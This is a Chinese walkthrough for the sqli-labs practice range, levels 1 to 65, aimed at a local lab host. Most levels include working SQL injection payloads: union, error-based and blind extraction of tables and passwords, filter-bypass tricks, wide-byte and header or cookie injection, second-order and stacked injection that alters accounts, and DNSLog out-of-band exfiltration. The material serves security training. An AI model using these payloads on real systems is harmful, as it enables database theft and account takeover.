sqli-labs靶场通关攻略

sqli-labs靶场安装

进入靶场后,选择第一关

第1关

确定攻击点 确定网站可以注入的参数 比如:?id= ?ID= ?a= ?sd=

http://127.0.0.1/Less-1/?id=

判断闭合方式 字符型' --+ 数字型 --+ 搜索型 %' --+

判断字段列数 order by

http://127.0.0.1/Less-1/?id=1' order by 1 --+ 页面正常 说明存在1列

http://127.0.0.1/Less-1/?id=1' order by 2 --+ 页面正常 说明存在2列

http://127.0.0.1/Less-1/?id=1' order by 3 --+ 页面正常 说明存在3列

http://127.0.0.1/Less-1/?id=1' order by 4 --+ 页面不正常 说明存在3列

联合查询 查当前数据库名,数据库版本,数据库用户

上面已经查出3列,那么联合查询3列

http://127.0.0.1/Less-1/?id=1' union select 1,2,3 --+ 页面显示的是id=1的数据,没有显示我们联合查询的数据,把人家前面查询的id的数据改成不存在的,比如-1

http://127.0.0.1/Less-1/?id=-1' union select 1,2,3 --+ 此时页面上出现了我们联合查询的回显点

http://127.0.0.1/Less-1/?id=-1' union select 1,database(),user() --+ 联合查询了数据库名和用户

联合查询 查出网站的数据库里面的所有表名

http://127.0.0.1/Less-1/?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

联合查询 查出users表里面的所有列

http://127.0.0.1/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

第2关

经过测试,为数字型

判断字段列数 order by

联合查询

联合查询 查出网站的数据库里面的所有表名

http://127.0.0.1/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema ='security'
http://127.0.0.1/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema ='security'

联合查询 查出users表里面的所有列

查询表中所有的数据

http://127.0.0.1/Less-2/?id=-1 union select 1,group_concat(id,'~',username,'~',password),3 from users

第3关

判断闭合方式

判断字段列数

联合查询 查当前数据库名

联合查询 查出网站的数据库里面的所有表名

http://127.0.0.1/Less-3/?id=-1)'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

联合查询 查出users表里面的所有列

http://127.0.0.1/Less-3/?id=-1)' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

查询表中所有的数据

http://127.0.0.1/Less-1/?id=-1)' union select 1,group_concat(id,'~',username,'~',password),3 from users --+

第4关

判断闭合

判断字段列数

联合查询,查看数据库名

查看数据库里的所有表名

查询suers表里的列名

查询users表里的所有内容

第5关

这关我们讲报错注入,在url输入命令,只要有报错回显,我们即可采用报错注入

这里有报错回显,所以我们可以采用报错注入

测试闭合

http://127.0.0.1/Less-5/?id=1' and updatexml(1,1,1)--+ 使用报错函数,报错函数里面三个参数,写三个1占位置

.http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,1),1)--+ 我们可以操控的是第二个参数的位置

所以第二个参数的位置换成concat()函数,这个函数也有两个参数,写两个1占位置

http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select database())),1)--+ 我们可以操控的地方也是第二个参数的位置 把第二个参数的位置换成(),里面写我们的子查询语句 成功查出数据库名 后面查什么在子查询括号里面查就行

查表名

查列名

查看表内容

因为我们只能控制concatenate()中的第二条参数,所以只能通过limit一条一条查询

http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select username from users limit 0,1)),1)--+ //第一条的username

http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select username from users limit 1,1)),1)--+ //第二条的username

http://127.0.0.1/Less-5/?id=1' and updatexml(1,concat(1,(select username from users limit 2,1)),1)--+ //第三条的username

password同理。

第6关

判断闭合

页面只有ture和flase两种情况,说明这关为布尔型,我们采用布尔盲注

判断数据库长度大于5 页面正常 说明数据库长度大于5:http://127.0.0.1/Less-6/?id=1" and length(database())>5--+

是否大于8,结果返回flase

经过测试,我们得知数据库长度为8

判断数据库的第一个字符:

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面显示正常 说明数据库第一位字符ascii码大于114 :http://127.0.0.1/Less-6/?id=1" and ascii(substr(database(),1,1))>114--+

判断数据库第一位字符的ascii码是否大于115 页面显示异常 说明不大于 大于114不大于115 说明第一位字符ascii码等于115

根据ascii码对照表得知数据库名的第一位字符为's'

在查看第二位字符,以此类推,最终我们得出数据库名为security

查security数据库中第一张表的第一位字符

http://127.0.0.1/Less-6/?id=1" and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100--+

http://127.0.0.1/Less-6/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101--+大于100不大于101 说明第一张表的第一位字符等于101 'e' 。剩余步骤与查看库名一致

第7关

此关于第六关一致,参照第六关即可

第8关

与第六关一致

第9关

在这里我们需要一个外部的网站来协助我们:

DNSLog Platform

在这里我们可以得到一个子域名,将子域名带入到我们的SQL命令语句中去

1' union select 1,2,(load_file(concat('\\\\',(select hex(database())),'.子域名\\abc'))) %23

删掉hex(),即可看到真实的database

1' union select 1,2,(load_file(concat('\\\\',(select database()),'.子域名\\abc'))) %23

若无法使用,则在  phpstudy_pro\Extensions\MySQL5.7.26\my.ini 文件中添加语句

secure_file_priv = '' 即可

第10关

这关我们讲时间盲注

判断闭合

使用时间盲注判断数据库长度

if(布尔盲注语句,sleep(3),1) //if判断语句,当布尔盲注语句成立时,执行sleep(3),否则执行1。

得到database()长度等于8

接着运行命令,判断database的第一位字符

http://127.0.0.1/Less-10/?id=1"and if(ascii(substr(database(),1,1))>115,sleep(3),1) --+

最终得知database第一位字符的ascii码为115='s'

以此类推得出database为security

查询security中第一张表的第一个字符

查询第一张表的第一个字符http://127.0.0.1/Less-10/?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100,sleep(5),1)--+

最终可以确定第一位字符ascii码为101=‘e’

以此类推即可得到所有表名

第11关

这关直接在username输入框中进行注入

判断闭合

查列数

经测试,只存在两列,查库名

查表名

查列名

查看表内容

第12关

判断闭合

判断字段列数

查询库名

查表名

查列名

查看表内容

第13关

判断闭合

查询字段列数

查询库名

正常查询,没有回显,我们试试报错查询

查表名

查列名

查看表内容

第14关

判断闭合

报错输入查询库名

查询表名

查询列名

常看表里内容

第15关

判断闭合

判断database长度

使⽤ ASCII 码猜解数据库的名称
admin' and if((ascii(substr(database(),1,1))=115),sleep(10),0) #
admin' and if((ascii(substr(database(),2,1))=115),sleep(10),0) #
以此类推,查出database名称
获取表的长度
admin' and if(length((select table_name from information_schema.tables whe
re table_schema='security' limit 0,1))=6,sleep(10),0)#(第一个表的长度)
admin' and if(length((select table_name from information_schema.tables whe
re table_schema='security' limit 1,1))=8,sleep(10),0)#(第二个表的长度)
获取表的名称
admin' and if(ascii(substr((select table_name from information_schema.tabl
es where table_schema='security' limit 3,1),1,1))=117,sleep(10),0) #(查询第四个表中的第一位)
admin' and if(ascii(substr((select table_name from information_schema.tabl
es where table_schema='security' limit 3,1),2,1))=115,sleep(10),0) #(查询第四个表中的第二位)

第16关

这一关尝试了联合查询、报错注入都无法成功注入,那么就像前面那样使用盲注来进行注入了:
这里因为我们是在登录,因此会有一个正确的已知的账号密码,这里就需要使用正确的账号+if判断才能成功的进行盲注:

大家都知道盲注需要页面有一些反应不同的才可以,这里也是根据不同值的页面的返回不同来进行盲注

输入正确密码的页面:

输入错误密码的界面:

那么现在就可以利用这两个页面进行盲注了

判断闭合方式

判断库名长度,经测验,长度为8

admin") and if(length(database())=8,sleep(3),1) #

确定数据库名字

admin") and if(ascii(substr(database(),1,1))=115,sleep(3),1)#

使用抓包工具BP进行碰撞,,对照ascii码表,得出库名:security

查表名

依次获取其表的⻓度与表的名称
# 获取表的⻓度
?id=1' and if(length((select table_name from information_schema.tables whe
re table_schema='security' limit 0,1))=6,sleep(10),0)--+ // 第⼀个表的⻓度
?id=1' and if(length((select table_name from information_schema.tables whe
re table_schema='security' limit 1,1))=8,sleep(10),0)--+ // 第⼆个表的⻓度
?id=1' and if(length((select table_name from information_schema.tables whe
re table_schema='security' limit 2,1))=7,sleep(10),0)--+ // 第三个表的⻓度
?id=1' and if(length((select table_name from information_schema.tables whe
re table_schema='security' limit 3,1))=5,sleep(10),0)--+ // 第四个表的⻓度
# 获取表的名称
// 查询第四个表的表名第⼀位
?id=1' and if(ascii(substr((select table_name from information_schema.tabl
es where table_schema='security' limit 3,1),1,1))=117,sleep(10),0)--+
// 查询第四个表的表名第⼆位
?id=1' and if(ascii(substr((select table_name from information_schema.tabl
es where table_schema='security' limit 3,1),2,1))=115,sleep(10),0)--+
判断字段⻓度与字段内容
# 判断字段⻓度
' and if(length((select column_name from information_schema.columns where t
able_schema='security' and table_name='users' limit 0,1))=2,sleep(10),0)--
+ // 判断第⼀个字段⻓度
' and if(length((select column_name from information_schema.columns where t
able_schema='security' and table_name='users' limit 1,1))=8,sleep(10),0)--
+ // 判断第⼆个字段的⻓度
' and if(length((select column_name from information_schema.columns where t
able_schema='security' and table_name='users' limit 2,1))=8,sleep(10),0)--
+ // 判断第三个字段的⻓度
# 判断第⼆个字段名内容
'and if(ord(substr((select column_name from information_schema.columns wher
e table_schema='security' and table_name='users' limit 1,1),1,1))=117,sleep
(10),0)--+ // 第⼀位
' and if(ord(substr((select column_name from information_schema.columns whe
re table_schema='security' and table_name='users' limit 1,1),2,1))=115,slee
p(10),0)--+ // 第⼆位

第17关

在页面输入admin和密码,回显我们新密码重置成功

我们来判断闭合

有报错,我们可以尝试一下报错注入

查表名

查列名

第18关

进入关卡,点击登录

利用BS抓包工具抓包数据

发送至重放器

在请求头下的User-agent后面进行SQL注入测试

判断闭合方式

有报错,采用报错注入

?id=1' and updatexml(1,concat(1,(database())),1) and --+

即得到database为security

第19关

使⽤ dumb  进⾏登录时候抓包进⾏测试.....在referer字段后进⾏测试报错
采⽤报错注⼊函数获取其当前数据库名

第20关

登录,返回Cookie信息

刷新页面并抓包,在Cookie字段检测是否纯在SQL注入

采⽤报错注⼊函数获取其当前数据库名

第21关

登录之后我们发现cookie值是我们看不懂的字符

进入后台我们会发现cookie值被编码了

那么我们使用抓包工具尝试注入,此关闭合方式为')

这里我们发现报错了,那我们尝试一下将我们的命令也进行编码

这里就成功得出了表名,后续正常输入查询命令,将命令进行编码即可

第22关

此关闭合方式为",其余与21关一致

第23关

这关为GET传参,我们在URL出进行注入

进过尝试,始终存在错误,查看源码后发现#和 --注释符都被过滤掉了,现在无法使用注释来实现注入了,但是我们还是可以利用 1=1 这样子的一个表达式来进行注入

$reg = "/#/"; //这里过滤了#
$reg1 = "/--/"; //这里过滤了--
$replace = ""; //把他们都替换成了空
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

?id=-1' union select 1,database(),3 and '1' = '1

id=-1' union select 1,database(),3 or '1' = '1

后续继续输入命令查询即可

第24关

点击创建一个新用户,用户名为admin' #,密码随便

创建完之后再次登录,然后修改密码

完成之后,我们此时就已经将admin的密码修改为了第二次修改的新密码,登录admin进行尝试,显示登陆成功,这里我们采用二阶注入的方法成功修改了admin用户的密码

第25关

判断闭合

我们可以看到我们的and被过滤了,我们可以采用在and内部再写一个and来绕过

单引号闭合

这里发现or也被过滤了,采用同样的方式绕过,后续正常查询即可

第25a关

经测试,此关为数字型

查库名

查表名,这里我们发现我们的 or 被拦截了,我们在or中间在写个or即可

查列名

查看内容

第26关

这里输入id后,我们可以发现被过滤掉了很多东西

空格被过滤了我们可以使用()来代替,and和or可以使用双写来绕过,使用报错函数查询:


?id=1' aandnd(updatexml(1,concat(1,(select(database()))),1)) aandnd '1'='1

查表名

# 查询表中的字段名
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'0

# 查询表中的数据
?id=1'||(updatexml(1,concat(0x7e,(select(group_concat(username,passwoorrd))from(users))),1))||'0

第27关

这关为大小写绕过和空格字符绕过,在页面最下方现实的即为网站识别到的我们的命令,与我们输入的命令进行对比,适时修改大小写及添加空格,即可让网站识别到我们真正的命令,空格用%90来代替。

此关闭合方式为' and'

查询库名

这里我们可以看到网站并没有收到我们的 union select 命令,将两个单词的任意字母改成大写试试

这样网站就识别到了我们的命令,然后我们就可以开始正常的查询了

查库名

查表名

查列名

查看内容

第28关

判断闭合时,我们发现注释符被过滤掉了

我们用('1')=('1绕过

联合查询

这里我们可以看到空格被过滤了,我们可以使用%0a来代替空格

我们的 union select 被过滤了,经过测试,我们可以用双写+大小写来绕过

查表名

查列名

第29关

本关真正想考察的是http参数污染来进行注入,下面简单介绍一下http参数污染

http参数污染:jsp/tomcat使用getgetParameter("id")获取到的是第一个值,php/apache使用$_GET["id"]获取的是第二个值,那么第一个id纯数字,第二个id的是值

# 查询数据库名
?id=1&id=0' union select 1,2,database() --+

查询表名

查列名

查看表内容

第30关

判断闭合

判断字段列数,有3列

查库名

查表名

查列名

查看表内具体内容

第31关

此关为"+)闭合,其余与30关一致

第32关

到了本关就来到了一个新的注入类型了,宽字节注入,那么先来简单介绍一下宽字节注入:

一个gbk编码汉字,占用2个字节。

一个utf-8编码的汉字,占用3个字节。

addslashes函数的作用就是让'变成\',让引号变得不再是原本的“单引号”,没有了之前的语义,而是变成了一个字符。那么我们现在要做的就是想办法将'前面的\给它去除掉:
既然这函数给'前面加了一个\那么是不是想办法给\前面再加一个\(或单数个即可),然后变成了\\',这样\就又被转义了,这样就成功的逃出了addslashes的限制

查看一下后端代码,发现对'和/都进行了过滤,因此我们就无法闭合,现在就可以使用宽字节注入了:

function check_addslashes($string)
{
    $string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string);          //escape any backslash
    $string = preg_replace('/\'/i', '\\\'', $string);                               //escape single quote with a backslash
    $string = preg_replace('/\"/', "\\\"", $string);                                //escape double quote with a backslash
      
    
    return $string;
}

那么我们尝试在'前面加%df看看

报错了,那我们试试注入

后面的流程就简单了,就不再赘述

第33关

这关与上一关一样

第34关

这关为post提交,那我们就需要bp抓包来实现我们的注入了

用#来闭合,字段只有两个,其他与上关一致

第35关

这关为最简单的数字型,正常查询即可

第36关

与32关一致,加%df

第37关

与上一关一样,使用管字节注入,只是这一关为post提交,要通过抓包来实现

这里要把users转化成16进制

第38关

只有单引号闭合

第39关

这关的参数为整数,正常注入即可

第40关

这关是单引号加括号闭合,其余正常查询即可

第41关

这关为整数型,正常联合查询注入即可

第42关

四十二关是因为账户进行了转义处理密码没有做处理,数据库没有使用gbk编码不能向上面一样使用宽字节注入,但是存在堆叠注入函数,所以我们可以在密码哪里使用堆叠注入。向数据库里面插入密码账号,这样我们再来使用其进行登录就很简单了。

login_user=1&login_password=1';insert into users(id,username,password) values ('39','less30','123456')--+&mysubmit=Login

这里显示我们登录成功,那说明我们的堆叠注入语句也一并被执行了,我们登录试试看登录成功

第43关

这关解题方法与上关一致,不一样的地方就是密码参数是')闭合的

第44关

与42关一样

第45关

与43关一样

第46关

这关让我们输入一个带数字值的参数sort,那我们就试一下

当我们输到4的时候,出现了报错,那我们就采用报错注入

第47关

与上一关一样,只是单引号闭合

第48关

用上关的方法做,发现没有回显那我们就只能采用时间盲注

利用时间盲注查询数据库

?sort=1 and if((ascii(substr(database(),1,1))>114),sleep(3),1)

用ascii码截取数据库的第一位字符 判断第一位字符的ascii码是否大于114 页面延迟三秒访问 说明数据库第一位字符ascii码大于114

输入?sort=1 and if((ascii(substr(database(),1,1))>115),sleep(3),1)

判断数据库第一位字符的ascii码是否大于115 页面正常显示 说明不大于 大于114不大于115 说明第一位字符ascii码等于115

依此类推即可得出数据库名字‘security’

查询表名

?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>100 ,sleep(3),1)

?sort=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1))>101 ,sleep(3),1)

第49关

与48关一样

第50关

这关正常使用报错注入即可

第51关

这关为单引号闭合,使用报错注入

第52关

这关我们可以看到没有什么回显,只能使用时间盲注

第53关

参数是字符型,单引号闭合,没有报错显示,那我们就采用时间盲注

第54关

翻译过后得知只有十次输入机会,超过十次所有表名,列名,等等都会随机重置。id参数是单引号闭合就行。

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+ 爆表名

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where%20table_schema=database() and table_name='9fa2498l3v'--+  爆列名

?id=-1%27union%20select%201,group_concat(secret_84IS),3%20from%209fa2498l3v--+  获取key值

把key值提交即可

第55关

五十五关是有14次机会,id参数是加了括号的整数

?id=-1) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+   报表名
 
 
 
?id=-1) union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='sg1buqw7p4'--+ 爆列名
 
 
 
?id=-1) union select 1,group_concat(secret_AJUN),3 from sg1buqw7p4--+  获取key值

提交即可

第56关

与前两关一样,只是')闭合

第57关

与上面一样,但是需要"闭合

第58关

五十八关和前面几关不一样,因为该关卡的数据不是直接数据库里面取得,而是在一个数组里面取出得。所以联合注入是不行得。但是有报错显示,所以可以使用报错注入。

?id=1' and updatexml(1,concat(1,database()),1)--+爆库名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+
爆表名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='6mbdrj3idk'),0x7e),1)--+
爆列名

?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_2UMQ) from challenges.6mbdrj3idk),0x7e),1)--+

提交即可

第59关

五十九关和五十八关一样使用报错注入,id是整数型。

第60关

六十关根据报错信息可知id参数是双引号加括号。

第61关

六十一关根据报错信息可知id参数是单引号加两个括号。

第62关

六十二关没有报错显示,可以使用布尔盲注和时间注入。id参数是单引号加括号。

?id=1%27) and if(length((select database()))=10,sleep(5),1)--+  时间注入,如果出现延迟表示该数据库名长度是10 
 
 
?id=1%27)and length((select database()))=10--+  布尔盲注

第63关

六十三关没有报错显示,可以使用布尔盲注和时间注入。id参数是单引号。

第64关

和前面两关一样,id参数是两个括号的整数型

第65关

和前面关卡差不多,id参数是一个括号的整数型

  • 5
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值